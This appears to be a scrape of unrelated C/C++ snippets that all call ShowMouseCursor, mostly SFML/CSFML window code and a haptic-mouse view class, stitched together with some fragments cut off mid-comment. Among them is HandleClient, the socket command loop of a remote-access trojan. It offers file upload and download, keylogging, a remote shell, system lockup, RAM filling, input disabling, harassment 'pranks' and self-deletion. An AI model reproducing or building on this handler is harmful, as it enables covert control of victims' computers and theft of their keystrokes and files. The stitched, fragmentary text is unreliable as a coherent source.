//////////////////////////////////////////////////////////// /// Free all the graphical resources attached to the window //////////////////////////////////////////////////////////// void WindowImplWin32::Cleanup() { // Restore the previous video mode (in case we were running in fullscreen) if (ourFullscreenWindow == this) { ChangeDisplaySettings(NULL, 0); ourFullscreenWindow = NULL; } // Unhide the mouse cursor (in case it was hidden) ShowMouseCursor(true); // Destroy the OpenGL context if (myGLContext) { // Unbind the context before destroying it SetActive(false); wglDeleteContext(myGLContext); myGLContext = NULL; } if (myDeviceContext) { ReleaseDC(myHandle, myDeviceContext); myDeviceContext = NULL; } }
//////////////////////////////////////////////////////////// /// Initialize internal window //////////////////////////////////////////////////////////// void Window::Initialize(priv::WindowImpl* Window) { // Assign and initialize the new window myWindow = Window; myWindow->Initialize(); // Clear the event queue while (!myEvents.empty()) myEvents.pop(); // Listen to events from the new window myWindow->AddListener(this); myWindow->AddListener(&myInput); // Setup default behaviours (to get a consistent behaviour across different implementations) Show(true); UseVerticalSync(false); ShowMouseCursor(true); EnableKeyRepeat(true); // Reset frame time myClock.Reset(); myLastFrameTime = 0.f; // Activate the window SetActive(true); // Notify the derived class OnCreate(); }
void CHapticMouse::LeaveHaptics() { if (m_bHapticsOn && !m_bPHANToMMouseError) { m_bHapticsOn = FALSE; // Force one last draw while the servoloop is active Invalidate(); OnPaint(); // Disable the servo loop in the application EnableServoLoop(FALSE); // Enable forces in the PHANToM Mouse driver // Make sure the latest configuration settings are passed through if (IsPHANToMMouseEnabled()) { UpdateMouseConfig(); EnableMouseDriver(TRUE); } // Perform one last redraw to flush the graphics queues Invalidate(); UpdateWindow(); // always show the cursor when in mouse mode ShowMouseCursor(TRUE); } }
void cWinImpl::RestoreCursor() { if ( !mCursorHidden ) { ShowMouseCursor(); } else { HideMouseCursor(); } }
//////////////////////////////////////////////////////////// /// Cleanup graphical resources attached to the window //////////////////////////////////////////////////////////// void WindowImplX11::CleanUp() { // Restore the previous video mode (in case we were running in fullscreen) if (ourFullscreenWindow == this) { // Get current screen info XRRScreenConfiguration* Config = XRRGetScreenInfo(ourDisplay, RootWindow(ourDisplay, ourScreen)); if (Config) { // Get the current rotation Rotation CurrentRotation; XRRConfigCurrentConfiguration(Config, &CurrentRotation); // Reset the video mode XRRSetScreenConfig(ourDisplay, Config, RootWindow(ourDisplay, ourScreen), myOldVideoMode, CurrentRotation, CurrentTime); // Free the configuration instance XRRFreeScreenConfigInfo(Config); } // Reset the fullscreen window ourFullscreenWindow = NULL; } // Unhide the mouse cursor (in case it was hidden) ShowMouseCursor(true); // Destroy the OpenGL context if (myGLContext) { glXDestroyContext(ourDisplay, myGLContext); myGLContext = NULL; } }
void CHapticMouse::ForceDisable() { // Drop out of haptics mode LeaveHaptics(); // Show the cursor ShowMouseCursor(TRUE); }
void CHapticMouse::OnLButtonUp(UINT nFlags, CPoint point) { CView::OnLButtonUp(nFlags, point); m_bMouseInView = TRUE; if (!m_bInitialized) m_bStartProgram = TRUE; if (!m_bHapticsOn && m_hapticEntryMode == PHANTOM_MOUSE_CLICK_THRU) OnPhantomEntry(); // Hide the mouse pointer ShowMouseCursor(FALSE); }
void CHapticMouse::EnterHaptics() { if (!m_bHapticsOn && !m_bPHANToMMouseError) { m_bHapticsOn = TRUE; // Disable forces in the PHANToM Mouse driver if (IsMouseDriverEnabled()) EnableMouseDriver(FALSE); // Enable the servoloop in the application EnableServoLoop(TRUE); // Hide the mouse cursor ShowMouseCursor(FALSE); } }
void Window::Initialize() { // Setup default behaviours (to get a consistent behaviour across different implementations) Show(true); ShowMouseCursor(true); EnableVerticalSync(false); EnableKeyRepeat(true); // Reset frame time myClock.Restart(); // Activate the window SetActive(); // Notify the derived class OnCreate(); }
void sfWindow_ShowMouseCursor(sfWindow* window, sfBool show) { CSFML_CALL(window, ShowMouseCursor(show == sfTrue)); }
DWORD WINAPI HandleClient( LPVOID param ){ SOCKET s = *(SOCKET*)param; char buf[1024],tmp[64]; struct cmd_t cmd; int n; while(1){ n = recv( s , buf , 1023 , 0 ); buf[n] = 0; //MB(buf); if( n == 0 ) break; parse_cmd( buf , &cmd ); int sec = cmd.cmd_object; int arg = cmd.args; char *p = cmd.addnl.str; //wsprintf( tmp , "%d::%d" , sec , arg ); //MB(tmp); if( sec == CMD_FILE ){ switch( arg ){ case FILE_SDIR: SendDirTree( s , p , 0 ); break; case FILE_SDIREX: SendDirTree( s , p , 1 ); break; case FILE_SDRV: SendDriveSet( s ); break; case FILE_SEND: SendFile( s , p ); break; case FILE_RECV: RecvFile( s , p ); break; case FILE_MKDIR: LocalMkDir( p ); break; default: SendLn( s , "***file: bad args\r\n" ); } } else if( sec == CMD_HW ){ switch( arg ){ case HW_OPENCD: OpenCDTray(); break; case HW_CLOSECD: CloseCDTray(); break; case HW_MOUSE_R: SetMouseBns( MOUSE_RT ); break; case HW_MOUSE_L: SetMouseBns( MOUSE_LT ); break; case HW_MOUSE_SW: SwapMouseBns(); break; case HW_MONITOR1: MonitorPower( 1 ); break; case HW_MONITOR0: MonitorPower( 0 ); break; case HW_DB_CLK: DblClkDelay( cmd.addnl.nums[0] ); break; case HW_INPUT0: EnableInput( false ); break; case HW_INPUT1: EnableInput( true ); break; case HW_REBOOT: Reboot(); break; case HW_SHTDWN: ShutDown(); break; default: SendLn( s , "***bad args\r\n" ); } } else if( sec == CMD_KEYBD ){ switch( arg ){ case KEYBD_STARTLOG: KeyLog( true ); break; case KEYBD_STOPLOG: KeyLog( false ); break; default: SendLn( s , "***keybd: bad args\r\n" ); } } else if( sec == CMD_MOUSE ){ switch( arg ){ case MOUSE_FLY_STOP: FlyMousePtr( false ); break; case MOUSE_FLY: FlyMousePtr( true ); break; case MOUSE_FLY_CLK: FlyMousePtrClick( true ); break; case MOUSE_RESTRICT: RestrictMouseMovementTo(cmd.addnl.nums[0], cmd.addnl.nums[1], cmd.addnl.nums[2], cmd.addnl.nums[3] ); break; case MOUSE_SHOW: ShowMouseCursor( true ); break; case MOUSE_HIDE: ShowMouseCursor( false ); break; case MOUSE_CLK: MouseClick( cmd.addnl.nums[0] ); break; case MOUSE_CLK_PT: MouseClickPoint( cmd.addnl.nums[1], cmd.addnl.nums[2], cmd.addnl.nums[0] ); break; case MOUSE_SETPOS: SetMousePos( cmd.addnl.nums[0], cmd.addnl.nums[1] ); break; default: SendLn( s , "***mouse: bad args\r\n" ); } } else if( sec == CMD_SHELL ){ if( arg == SHELL_SPAWN ) CreateRemoteShell( s ); } else if( sec == CMD_SYS ){ unsigned long m; unsigned __int64 d; char msg[256]; switch( arg ){ case SYS_MAXMEM: m = GetMaxMem(); wsprintf( msg , "max mem: %u MiB\r\n" , m ); SendLn( s ,msg ); break; case SYS_BUSYMEM: m = GetBusyMem(); wsprintf( msg , "mem in use: %u MiB\r\n" , m ); SendLn( s , msg ); break; case SYS_FREEMEM: m = GetFreeMem(); wsprintf( msg , "free mem: %u MiB\r\n" , m ); SendLn( s , msg ); break; case SYS_MAXDISK: d = GetDiskUsage( cmd.addnl.str , U_TOTAL ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_USEDDISK: d = GetDiskUsage( cmd.addnl.str , U_USED ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_FREEDISK: d = GetDiskUsage( cmd.addnl.str , U_FREE ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_SYSDIR: wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() ); SendLn( s , msg ); break; case SYS_WINDIR: wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() ); SendLn( s , msg ); break; case SYS_CHDIR: cd( cmd.addnl.str ); break; case SYS_LOCKUP: SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" ); Sleep(2000); LockUp(); break; case SYS_RAMFILL: RamFill(); break; default: SendLn( s , "***sys: bad args\r\n" ); } } else if( sec == CMD_TBAR ){ switch(arg){ case TBAR_SHOW: ShowTaskBar( true ); break; case TBAR_HIDE: ShowTaskBar( false ); break; case TBAR_STBN_SHOW: ShowStartBn( true ); break; case TBAR_STBN_HIDE: ShowStartBn( false ); break; case TBAR_STBN_FLY1: FlyStartBn( true ); break; case TBAR_STBN_FLY0: FlyStartBn( false ); break; case TBAR_CLOCK_SHOW: ShowClock( true ); break; case TBAR_CLOCK_HIDE: ShowClock( false ); break; case TBAR_ENABLE: EnableTaskBar( true ); break; case TBAR_DISABLE: EnableTaskBar( false ); break; default: SendLn( s , "***tb: bad args\r\n" ); } } else if( sec == CMD_PRANK ){ switch(arg){ case PRANK_DTP_ENABLE: EnableDesktop( true ); break; case PRANK_DTP_DISABLE: EnableDesktop( false ); break; case PRANK_FU_START: if( !strequal( cmd.addnl.str , "" ) ) szFUStr = cmd.addnl.str; FuckYou( true ); break; case PRANK_FU_STOP: FuckYou( false ); break; case PRANK_WRUN_START: if( cmd.addnl.nums[0] > 0 ) uiRunWindowsDelay = cmd.addnl.nums[0]; MakeWindowsRun( true ); break; case PRANK_WRUN_STOP: MakeWindowsRun( false ); break; case PRANK_QUAKE_START: if( cmd.addnl.nums[0] > 0 ) uiQuakeDelay = cmd.addnl.nums[0]; Quake( true ); break; case PRANK_QUAKE_STOP: Quake( false ); break; default: SendLn( s , "***bad trigger\r\n" ); } } else if( sec == CMD_OWL ){ switch(arg){ case OWL_UNINSTALL: SelfDelete(); exit(0); break; default: SendLn( s , "***bad trigger\r\n" ); } } } return 0; }
//////////////////////////////////////////////////////////// /// Enable / disable vertical synchronization on a window //////////////////////////////////////////////////////////// void sfWindow_UseVerticalSync(sfWindow* Window, sfBool Enabled) { CSFML_CALL(Window, UseVerticalSync(Enabled == sfTrue)) } //////////////////////////////////////////////////////////// /// Show or hide the mouse cursor on a window //////////////////////////////////////////////////////////// void sfWindow_ShowMouseCursor(sfWindow* Window, sfBool Show) { CSFML_CALL(Window, ShowMouseCursor(Show == sfTrue)) } //////////////////////////////////////////////////////////// /// Change the position of the mouse cursor on a window //////////////////////////////////////////////////////////// void sfWindow_SetCursorPosition(sfWindow* Window, unsigned int Left, unsigned int Top) { CSFML_CALL(Window, SetCursorPosition(Left, Top)) } //////////////////////////////////////////////////////////// /// Change the position of a window on screen. /// Only works for top-level windows
//////////////////////////////////////////////////////////// /// Show or hide the mouse cursor on a window //////////////////////////////////////////////////////////// void sfRenderWindow_ShowMouseCursor(sfRenderWindow* renderWindow, sfBool show) { CSFML_CALL(renderWindow, ShowMouseCursor(show == sfTrue)); }